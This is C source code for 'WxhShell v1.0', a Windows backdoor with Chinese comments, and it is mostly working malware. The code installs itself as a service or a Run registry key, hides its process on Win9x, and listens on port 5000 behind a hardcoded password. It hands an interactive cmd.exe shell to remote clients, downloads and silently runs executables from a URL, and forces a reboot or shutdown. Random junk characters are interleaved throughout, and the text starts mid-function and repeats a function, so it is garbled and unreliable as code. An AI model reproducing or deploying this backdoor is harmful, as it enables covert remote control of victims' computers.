Q uy5H Kgi%Nd g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); RiF~-;v& g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a1Qg&s< NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lN)U8 cejSGsW6q if (!NtQueryInformationProcess) return 0; C XZm/^ n0kBLn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -82Rz if(!hProcess) return 0; zo&'2I _H|x6X1- if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |<P]yn `AeId/A4n CloseHandle(hProcess); `(<XdlOj u<./ddC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 9. Q;J#;1 if(hProcess==NULL) return 0; (t1:2WY@ 1"009/| HMODULE hMod; cpp0Y^ char procName[255]; xCD|UC46?X unsigned long cbNeeded; [ XjJsk, <*~vZT i( if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a%7ju4CVj 2:Q9gru CloseHandle(hProcess); f7}/ {}g Z}TuVE if(strstr(procName,"services")) return 1; // 以服务启动 <P7f\$o~ &C<B=T"I return 0; // 注册表启动 |_8-3 } ,2/qQD n/ KD*,u{v; // 主模块
!9DqW&8 int StartWxhshell(LPSTR lpCmdLine) ' D+h_*H { d>eVR SOCKET wsl; CeoK@y=o BOOL val=TRUE; "d>{hP int port=0; r}MXXn,f struct sockaddr_in door; f2B?Zn G*ZHLLO4S\ if(wscfg.ws_autoins) Install(); J{Ei+@^/9 :bFmw dX port=atoi(lpCmdLine); abUvU26t )V%xbDd S if(port<=0) port=wscfg.ws_port; (Sr&Y1D +.whEw(i WSADATA data; 8E"Ik~ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; UMuqdLaT9 8P0XY
S@ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; deHhl(U; setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]fIv{[A_
door.sin_family = AF_INET; MbC7`Sp&i door.sin_addr.s_addr = inet_addr("127.0.0.1"); #.UooFk+Y door.sin_port = htons(port); (EGsw o mnu4XE#| if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { So\(]S closesocket(wsl); 9%j_"+<c return 1; h.ojj$f, } *fso6j#% (p'yya{( if(listen(wsl,2) == INVALID_SOCKET) { >_(Xb%w closesocket(wsl); "]Wrir?l return 1; +^YXqOXU } E!&A[TlX\ Wxhshell(wsl); -bu.Ar-#;h WSACleanup(); bv$_t)Xh @T return 0; :2{6Pa(eg kG/:fP } ifl`QZp_ t6BggO"_u // 以NT服务方式启动 @*e|{;X]hy VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S)of.Nq.; { 3t5`,R1@t DWORD status = 0; u;p{&\(] DWORD specificError = 0xfffffff; s3kHNDdC H%>
E6rVB serviceStatus.dwServiceType = SERVICE_WIN32; G1 z[v3T serviceStatus.dwCurrentState = SERVICE_START_PENDING; $Mm=5K% serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; l7]:b8 serviceStatus.dwWin32ExitCode = 0; %>Z^BM<e serviceStatus.dwServiceSpecificExitCode = 0; l^w=b~|7= serviceStatus.dwCheckPoint = 0; Nl,M9 serviceStatus.dwWaitHint = 0; xQ9P'ru 9&fS<Hk hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A(2_hl- if (hServiceStatusHandle==0) return; 0]?} kY #g*U\y status = GetLastError(); ]/hF!eO if (status!=NO_ERROR) VliX'.- { 0B#9CxU% serviceStatus.dwCurrentState = SERVICE_STOPPED; Y
m=ihQ| serviceStatus.dwCheckPoint = 0; 2jV.\C k serviceStatus.dwWaitHint = 0; S.1\e"MfI serviceStatus.dwWin32ExitCode = status; 5A
oKlJrY serviceStatus.dwServiceSpecificExitCode = specificError; [74HUw> SetServiceStatus(hServiceStatusHandle, &serviceStatus); c""*Ng*T return; N7:=%F y( } t+7h(?8L @^]wT_r serviceStatus.dwCurrentState = SERVICE_RUNNING; 9J h"1i>x2 serviceStatus.dwCheckPoint = 0; j h0``{ serviceStatus.dwWaitHint = 0; l{ja2brX if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); JpqZVu"7 } 8\HL8^6c5 :so2 {.t- // 处理NT服务事件,比如:启动、停止 Jn3cU VOID WINAPI NTServiceHandler(DWORD fdwControl) ;[TC`DuNj0 { 'QW/TJ=7r switch(fdwControl) 6x|"1
G{ { 'RK.w^ case SERVICE_CONTROL_STOP: ~sj'GEhEg serviceStatus.dwWin32ExitCode = 0; `!WtKqr%B serviceStatus.dwCurrentState = SERVICE_STOPPED; JoeU J3N serviceStatus.dwCheckPoint = 0; $Wt0e 4YSu serviceStatus.dwWaitHint = 0; /(Mi2$@v1 { cO/%;HEV SetServiceStatus(hServiceStatusHandle, &serviceStatus); e^2e[rp0 } ya7PF~:E- return; F5la:0fb case SERVICE_CONTROL_PAUSE: !=%0 serviceStatus.dwCurrentState = SERVICE_PAUSED; TP7'tb break; VWDXEa9 case SERVICE_CONTROL_CONTINUE: ^Z1t'-xZ serviceStatus.dwCurrentState = SERVICE_RUNNING; j06?Mm_c2 break; e59P6/z case SERVICE_CONTROL_INTERROGATE: 6Y?%G>$6 break; ]Hr:|2|. }; gq9IJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); vM )2F } p|fSPSz X,-QxV=lc) // 标准应用程序主函数 ML@-@BaN int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) aK>5r^7S { !kCMw%[ b-4gHW // 获取操作系统版本 7OuzQzhcK OsIsNt=GetOsVer(); k\->uSU9 GetModuleFileName(NULL,ExeFile,MAX_PATH); V6l~Aj}/ :'1UX <&B // 从命令行安装 vC$Q4>m if(strpbrk(lpCmdLine,"iI")) Install(); HQPb fXfBDB // 下载执行文件 4C AV) if(wscfg.ws_downexe) { GjTj..G/ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Pf,S`Uw; WinExec(wscfg.ws_filenam,SW_HIDE); VGFWF3s } 8/q6vk>< j7r! N^ if(!OsIsNt) { $p_FrN{ // 如果时win9x,隐藏进程并且设置为注册表启动 [4qCW{x._ HideProc(); j{}-zQ]n StartWxhshell(lpCmdLine); A8Z2o\+ } T'YHV}b}vX else &G63ReW7 @ if(StartFromService()) x1H?e8 // 以服务方式启动 MtE18m"z StartServiceCtrlDispatcher(DispatchTable); 9gjI;*(z1 else BC!n;IAe // 普通方式启动 MV8Lk/zd?A StartWxhshell(lpCmdLine); WH:[Y7D fpMnA return 0; KKMzhvf]# } epz'GN]V 85;hs J6m`XC -anLp8G* =========================================== BPf;!. Y)D~@|D, `v2]Jk< 4a'O#;ho DGfhS` X ?Q$LIoR " /48W]a}JS %cIF() #include <stdio.h> >y
P`8Oq[ #include <string.h> 2kv%k3Q{ #include <windows.h> .-kqt^Gc #include <winsock2.h> kk`BwRh)d; #include <winsvc.h> , $;g'z!N #include <urlmon.h> m]g"]U: $^&SEz #pragma comment (lib, "Ws2_32.lib") q\ihye #pragma comment (lib, "urlmon.lib") !sF! (u7 fwR3=:5~ #define MAX_USER 100 // 最大客户端连接数 /t"p^9!^ #define BUF_SOCK 200 // sock buffer G'|Emu=4 #define KEY_BUFF 255 // 输入 buffer w8~J5XS [,GXA)j #define REBOOT 0 // 重启 p)
x.Y #define SHUTDOWN 1 // 关机 b0\'JZ B@ab[dm280 #define DEF_PORT 5000 // 监听端口 &p?Oo^ H<$.AC\zn #define REG_LEN 16 // 注册表键长度 G5^gwG+ #define SVC_LEN 80 // NT服务名长度 WZ.d"EE" >v4k_JX // 从dll定义API GPqF> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); V<} ^n typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~cE; k@ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); zs +[Aco) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); apW0(&\ *%0f^~!G<p // wxhshell配置信息 Bx(+uNQ struct WSCFG { )p.+39]{2 int ws_port; // 监听端口 >M` swEj char ws_passstr[REG_LEN]; // 口令 eYL7G-3 int ws_autoins; // 安装标记, 1=yes 0=no X^3 0a*sj char ws_regname[REG_LEN]; // 注册表键名 YK#
QH"} char ws_svcname[REG_LEN]; // 服务名 #=WDJT: char ws_svcdisp[SVC_LEN]; // 服务显示名 0m5Q;|mH char ws_svcdesc[SVC_LEN]; // 服务描述信息 -25#Vh char ws_passmsg[SVC_LEN]; // 密码输入提示信息 eO,
int ws_downexe; // 下载执行标记, 1=yes 0=no /)80@ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
]
=Js 5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 //--r5Q ;qI5GQ { }; l+'1>T.I k&nhF9Y4 // default Wxhshell configuration o3H+.u$ struct WSCFG wscfg={DEF_PORT, Xco$
yF% "xuhuanlingzhe", Tb-`0^y&X1 1, =N,KVMxw "Wxhshell", y)3( "Wxhshell", `92 D]^g "WxhShell Service", ArkFC "Wrsky Windows CmdShell Service", c%.f|/.k
"Please Input Your Password: ", -_jV.`t 1, inBd.%Yr "http://www.wrsky.com/wxhshell.exe", H*QN/{|RU "Wxhshell.exe" m RCgKW< }; R|Ft@]
=#XsY,r // 消息定义模块 nf< <]iHf char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; CiP-Zh[gZ char *msg_ws_prompt="\n\r? for help\n\r#>"; @S~'m; char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; }iy`Ko+B"b char *msg_ws_ext="\n\rExit."; $ql-"BB char *msg_ws_end="\n\rQuit."; _ED1".f char *msg_ws_boot="\n\rReboot..."; :,F^{ char *msg_ws_poff="\n\rShutdown..."; }nE#0n char *msg_ws_down="\n\rSave to "; )Jx!VJ^Y ADX} char *msg_ws_err="\n\rErr!"; XA])<dZ
char *msg_ws_ok="\n\rOK!"; +DKrX |Y<ca char ExeFile[MAX_PATH]; [BhpfZNKRA int nUser = 0; S&-sl HANDLE handles[MAX_USER]; sF;1)7]Pq int OsIsNt; +N[dYm bcpH|}[F) SERVICE_STATUS serviceStatus; ?xf59mY7 SERVICE_STATUS_HANDLE hServiceStatusHandle; [ hj|8) w8%yX$< // 函数声明 F *;
+-e int Install(void); |xzqYu?o int Uninstall(void); +!POKr int DownloadFile(char *sURL, SOCKET wsh); 6,G^iv6H int Boot(int flag); ~4}m'#! void HideProc(void); e:[Kp6J int GetOsVer(void); hk ./G'E int Wxhshell(SOCKET wsl); )ymF:]QC void TalkWithClient(void *cs); *DkA$Eu3u int CmdShell(SOCKET sock); ,WOF) int StartFromService(void); Oe9{`~ int StartWxhshell(LPSTR lpCmdLine); 0jv9N6IM z>j%-3_1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y tGH>0}h VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1jmhh!, jTws0=F* // 数据结构和表定义 |
7>1) SERVICE_TABLE_ENTRY DispatchTable[] = RA[` Cp" { !w
f N~.Y {wscfg.ws_svcname, NTServiceMain}, va8:QHdU {NULL, NULL} uMsKF %m }; w& RpQcV mQ%kGqs // 自我安装 9+QLcb int Install(void) mS~3 QV { o\]e}+1[o char svExeFile[MAX_PATH]; J=K3S9:n]g HKEY key; n 2#uH strcpy(svExeFile,ExeFile); ~73"AWlp #`"' // 如果是win9x系统,修改注册表设为自启动 81W})q8 if(!OsIsNt) { 4BEVG&Ks
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >K\ 79<x| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cDs#5, RegCloseKey(key); KvilGh10 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8gC(N3/E" RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MPzqw)_-v RegCloseKey(key); 3UC8iq* return 0; 2L<TqC{,- } ]VJcV.7` } 4d] } 6%S>~L66 else { aDZLabRu A#1y>k // 如果是NT以上系统,安装为系统服务 A94VSUDA: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); flLmZ1" if (schSCManager!=0) [RpFC4W { p'w[5' SC_HANDLE schService = CreateService [F/x U ( N[pk@M\vX schSCManager, tW=0AtZl] wscfg.ws_svcname, Kg](kP wscfg.ws_svcdisp, 95]%j\ SERVICE_ALL_ACCESS, X<9DE!/) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Jy|Mfl%d SERVICE_AUTO_START, .j&jf^a5 SERVICE_ERROR_NORMAL, 2:DpnLU5 svExeFile, C)C;U&Qd NULL, wFqz.HoB NULL, mOX I"q]p NULL, *znCe(dd NULL, oub4/0tN,~ NULL jilO% " ); Y6N+,FAk+J if (schService!=0) |9\Lv$VJ { Gj)Qw6
CloseServiceHandle(schService); d'3'{C|kk CloseServiceHandle(schSCManager); Ne9
.wd strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p`d:g
BZ strcat(svExeFile,wscfg.ws_svcname); ]hf4= gm if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k6Tpaf^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !m(6/*PAl RegCloseKey(key); q6G([h7 return 0; 2PeI+!7s } SiBbz4 } 3:;%@4f CloseServiceHandle(schSCManager); b6/:reH{ } I(7gmCV } /Cg/Rwl e1/|PgT(KM return 1; 9MYt4 } 3p4bOT5 b5)>h // 自我卸载 i{e<kKh int Uninstall(void) PRah?|*0s { 33;|52$ HKEY key; ;q^YDZ' kXj pCtCu if(!OsIsNt) { sIy$}_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { AMm O+E? RegDeleteValue(key,wscfg.ws_regname); #&5\1Qu RegCloseKey(key); mE7Jv)@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { aEM#V RegDeleteValue(key,wscfg.ws_regname); &GZR-/ RegCloseKey(key); O~Fk0}- return 0; :YI>AaYWDO } G7=8*@q>: } a #0{tZd } h n]6he else { '{u#:TTj kg@J. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Q?;ntzi if (schSCManager!=0) }N|/b"j9 { e.kt]l SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uA,{C%? if (schService!=0) 6FmgK"t8 { 2bC%P})m if(DeleteService(schService)!=0) { iGlZFA CloseServiceHandle(schService); Z)&HqqT3p CloseServiceHandle(schSCManager); a|53E<5X return 0; r 1a{Y8? } ropiyT9; CloseServiceHandle(schService); k %rP*b* } e/3hb)#; CloseServiceHandle(schSCManager); #3$|PM7,_ } 0`thND)?O } _
o(h]G1]. #P@r[VZ{6 return 1; {p\KB!Y- } f:0n-me n%0vQ;Z1 // 从指定url下载文件 _t[%@G>P int DownloadFile(char *sURL, SOCKET wsh) ,5?MRqCM { W!^=)Qs
HRESULT hr; w#$k$T) char seps[]= "/"; !58JK f char *token; ~S6N'$^ char *file; CYu8J@(\~g char myURL[MAX_PATH]; eC39C2q\ char myFILE[MAX_PATH]; =+L>^w#6= R{B~No w3 strcpy(myURL,sURL); 8UcT?Zp token=strtok(myURL,seps); |Wgab5D>V while(token!=NULL) ?C{N0?[P- { ]rm=F]W/n file=token; 6;*(6$; token=strtok(NULL,seps); LN^8U } 0A9cu,ZdUR ~e8n yB GetCurrentDirectory(MAX_PATH,myFILE); m>!#}EJ| strcat(myFILE, "\\"); el%Qxak`" strcat(myFILE, file); sJlKN send(wsh,myFILE,strlen(myFILE),0); FHC7\#p/9Z send(wsh,"...",3,0); T}TP.!0E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); u5_fM*Ka if(hr==S_OK) Ei<:=6EX?8 return 0; qsRh ihPX else Sx"I]N return 1; d!:SoZ `y#C%9# } Qa%SvA@R (jG$M= q- // 系统电源模块 J_@4J7 int Boot(int flag) M2S|$6t: { yw<xv-Q=i HANDLE hToken; D=vq<X' TOKEN_PRIVILEGES tkp; 2cl~Va= t} M3F-NZ if(OsIsNt) { J|IDnCK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); do,X{\ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); LfApVUm tkp.PrivilegeCount = 1; AlxS?f2w tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OEW,[d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H/&Q,9sU21 if(flag==REBOOT) { buXG32; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) e8 aV
qq[ return 0; (c2\:hvy }
3lN+fQ>)S else { Gp+XM if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WU\bJ} return 0; W|e> } ($W 5fbu } c,wU?8Nc|$ else { Qg!*=<b if(flag==REBOOT) { zY+Et.lg]^ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3(&F.&C$$ return 0; EYG E#C;
d } B_2>Yt" else { ZB&Uhi if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Rp*t"HSaAW return 0; ^nF$<#a } w#,v n8 } R-fjxM* T7~v40jn| return 1; AUde_1hi } )S;ps "r"An" // win9x进程隐藏模块 ~7a BeD void HideProc(void) &7&*As { 6DW|O<k^j X~3P?O]kFv HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ooSd6;' if ( hKernel != NULL ) SGd.z6"H { pe})A pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q{hOn]" ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n0pe7/Ai FreeLibrary(hKernel); VAE?={- } x^2/jUc#B `h!&-> return; Zr;=p"cXr } Y{|yB q:EQ, // 获取操作系统版本 2kq@*}ys int GetOsVer(void) s.)w
A`&& { T+h{Aeg OSVERSIONINFO winfo; FF~4y>R7u winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); neFno5d j GetVersionEx(&winfo); OZm[iH if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D.R return 1; s'Gy+h. else }{oBKm9_p return 0; i6 ?JX@I } guXpHF= {OrE1WHB // 客户端句柄模块 RsfTUb)< int Wxhshell(SOCKET wsl) 5udoZ>T { 2{I z SOCKET wsh; ^X%4@,AE struct sockaddr_in client;
89=JC[c DWORD myID; '|N4fbZd IFofFXv_ while(nUser<MAX_USER) G3^]Wwu { NOp=/ int nSize=sizeof(client); #@s~V<rW wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kGV`Q if(wsh==INVALID_SOCKET) return 1; !DL53DQ# nY-9
1q?Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ytwv=;h- if(handles[nUser]==0) fZ:rz;tM closesocket(wsh); ]u ~Fn2 else m+{: ^ nUser++; U2lC !j%K } :vyf-K74M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @b\_696. To%*)a return 0; 'N ::MN } W<]Oo ] T8TsKjqOZ // 关闭 socket :gaeb8`t void CloseIt(SOCKET wsh) |Umfq:W`y_ { hcc-J)=m closesocket(wsh); N/{Yi
_n nUser--; dS_)ll.6z ExitThread(0); {59VS
Nl } LEnP"o9ZW 7h&`BS // 客户端请求句柄 =1OAy`8 void TalkWithClient(void *cs) OrJlHMz { _m?(O /BTx tF g'RV{ SOCKET wsh=(SOCKET)cs; ]l7\Zq char pwd[SVC_LEN]; )u/
^aK53^ char cmd[KEY_BUFF]; AaC1||?R char chr[1]; xjq7%R_, int i,j; eEGcio}_I9 ,W8Iabi^ while (nUser < MAX_USER) { C*6)Ut ' TIWLp if(wscfg.ws_passstr) { %<#3_}"T| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^*ezj1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@:QdCG+ //ZeroMemory(pwd,KEY_BUFF); (My$@l973 i=0; 9.OwH(Ax7 while(i<SVC_LEN) { jy@i(@Z G$|;~'E // 设置超时 *[~o~e/YCb fd_set FdRead; qq7X",s struct timeval TimeOut; nC.2./OwMf FD_ZERO(&FdRead); !v4j`A;% FD_SET(wsh,&FdRead); =*:_swd TimeOut.tv_sec=8; yO,`"Dc_0 TimeOut.tv_usec=0; S<]a@9W int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4'hcHdL9 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ig_<kj;Vd OPt;G,$ta if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); IgR"euU pwd=chr[0]; {AL9o2 if(chr[0]==0xd || chr[0]==0xa) { CC(*zrOd- pwd=0; S{(p<%)[ break; q(tGbhQ } P(gVF|J? i++; ;zE5(3x } fQy
C6C chMc(.cN0 // 如果是非法用户,关闭 socket fDEu%fUYZ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }Wche/g` } 3)c
K*8# ;,vL send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i Kk"j send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +=~%S)9F O:^LQ while(1) { Li-(p" X*9N[#wu6 ZeroMemory(cmd,KEY_BUFF); }wOpPN[4 5+/b$mHZX // 自动支持客户端 telnet标准 kAB+28A j=0; d:<H?~ while(j<KEY_BUFF) { MjXE|3& if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hN_f h J cmd[j]=chr[0]; Am4^v?q if(chr[0]==0xa || chr[0]==0xd) { ,WB_C\.#XN cmd[j]=0; Z-h7 break; +5t
bK } <k\H`P j++; 71.\`' } E_D ^O r -q3+c^+ // 下载文件 euj8p:+X if(strstr(cmd,"http://")) { ,c%K)KuPK. send(wsh,msg_ws_down,strlen(msg_ws_down),0); %t`SSW7I if(DownloadFile(cmd,wsh)) ;w6fM send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gl8&FrR else m
UWkb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %`?;V;{= } :K^gu%,&$ else { S'!q}|7X3 "<w2v'6S switch(cmd[0]) { M .)}e7 ^6aS]t // 帮助 *K,hrpYR case '?': {
$' (QTEM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ) Kc%8hBv break; *m$PH"
} MZ5Y\-nq\ // 安装 6
tc:A5mK case 'i': { rXY;m- if(Install()) R>d@tr send(wsh,msg_ws_err,strlen(msg_ws_err),0); hr[B^?6 else )W`SC mr] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ',JrY) break; HUJ|-)"dw } UK6xkra?# // 卸载 { eEC:[ case 'r': { Oz&+{ c if(Uninstall()) p"[O#*p send(wsh,msg_ws_err,strlen(msg_ws_err),0); kYxl1nv else rps(Jos_~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yOWOU`y? break; )_77>f% } WgA`kT // 显示 wxhshell 所在路径 ^Ue0mC7m case 'p': { Il{^
j6 char svExeFile[MAX_PATH]; [6; N3?+ strcpy(svExeFile,"\n\r"); 69C8-fF0[I strcat(svExeFile,ExeFile); ]^:hyOK send(wsh,svExeFile,strlen(svExeFile),0); Re*|$r# break; ,\o<y|+`S } n$XdSh/ // 重启 y !<'rg case 'b': { .!(,$'(@= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z&FkLww if(Boot(REBOOT)) x"
'KW
( send(wsh,msg_ws_err,strlen(msg_ws_err),0); K DYYB6| else { {)V? R closesocket(wsh); >*dQqJI ExitThread(0); kDzj%sm! } *me,(C break; xMDrE? } ,Z>wbMJig // 关机 e=t<H"& case 'd': { P_p6GT:5 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ys-Keyg if(Boot(SHUTDOWN)) >1x7UXs~: send(wsh,msg_ws_err,strlen(msg_ws_err),0); )Fqy%uR8 else { r8uqcKfU closesocket(wsh); PSTu /^ ExitThread(0); t`"^7YFS> } A7k'K4 break; O)`fvpVU } Bx(yu'g|a // 获取shell ! FNf>z+ case 's': { 5x8'K7/4. CmdShell(wsh); Tu]&^[B(' closesocket(wsh); Y4mC_4EU ExitThread(0); c 9rVgLqn! break; fO].e"} } ]7a;jNQu // 退出 [6D>f?z case 'x': { 8HMo.*Ti9 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3p=vz' CloseIt(wsh); rdO@X9z break; *FV0Vy } )ll?-FZ
// 离开 T yU&QXb case 'q': { BlXX:aZv send(wsh,msg_ws_end,strlen(msg_ws_end),0); /7bw: h; closesocket(wsh); NQ?x8h3 WSACleanup(); n0_B(997* exit(1); : *ERRSL) break; D"L|"qJ } ,I]7g4~ } v btAq^1 } hM~eJv D7)(D4S4 // 提示信息 B4Q79gEh= if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); KiQ(XNx } q"S(7xWS } 9"~9hOEct (]2<?x* return; )8;{nqoC } xw ?CMA J"-_{)0lD // shell模块句柄 v"rl5x int CmdShell(SOCKET sock) vF"c { 5^yG2&># STARTUPINFO si; K<FKu $= ZeroMemory(&si,sizeof(si)); @7-=zt+f si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uJgI<l'|e3 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; LZ{YmD&6] PROCESS_INFORMATION ProcessInfo; N/K=Ygv. char cmdline[]="cmd"; zLP],wB CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~z5@V5z return 0; F)
?o, } \/!ZA[D|E\ MSl&?}Bj // 自身启动模式 u+i (";\ int StartFromService(void) GR<c= { O}QFq14<+ typedef struct Rp0|zP,5 { +P|2m"UA DWORD ExitStatus; vv &BhIf3 DWORD PebBaseAddress; 1] j^d DWORD AffinityMask; > @+# DWORD BasePriority; X(]Zr ULONG UniqueProcessId; [B,'=,Hbs ULONG InheritedFromUniqueProcessId; %swR:Bv } PROCESS_BASIC_INFORMATION; <s_=-"
il ?4 qkDtm PROCNTQSIP NtQueryInformationProcess; BEWro|]cM l7z6i*R static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; atyu/+U'} static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 1Y#HcW& 3[r";Wt# HANDLE hProcess; Z'Q*L?E8M PROCESS_BASIC_INFORMATION pbi; %*kLEA*v "}@i+oS HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Lj8)'[K" if(NULL == hInst ) return 0; n+HsQ]z. 3y ryeS g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .5.8;/
/ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ' sey D NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rnO0-h-; +dw!:P& if (!NtQueryInformationProcess) return 0; %hc'dZ 1* ^'\W. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0z7L+2#b^ if(!hProcess) return 0; ?g3 ]~;# fywvJ$HD]L if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; T1W:>~T5# b#/i.!:a CloseHandle(hProcess); U]1(&MgV ^/dS>_gtHv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \tx%WC if(hProcess==NULL) return 0; 0I5&a h0Ee?= HMODULE hMod; B_k2u char procName[255]; DK6?E\< unsigned long cbNeeded; b}@(m$W #f*g]p{ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >&WhQhZ3kg ,."b3wR[w CloseHandle(hProcess); 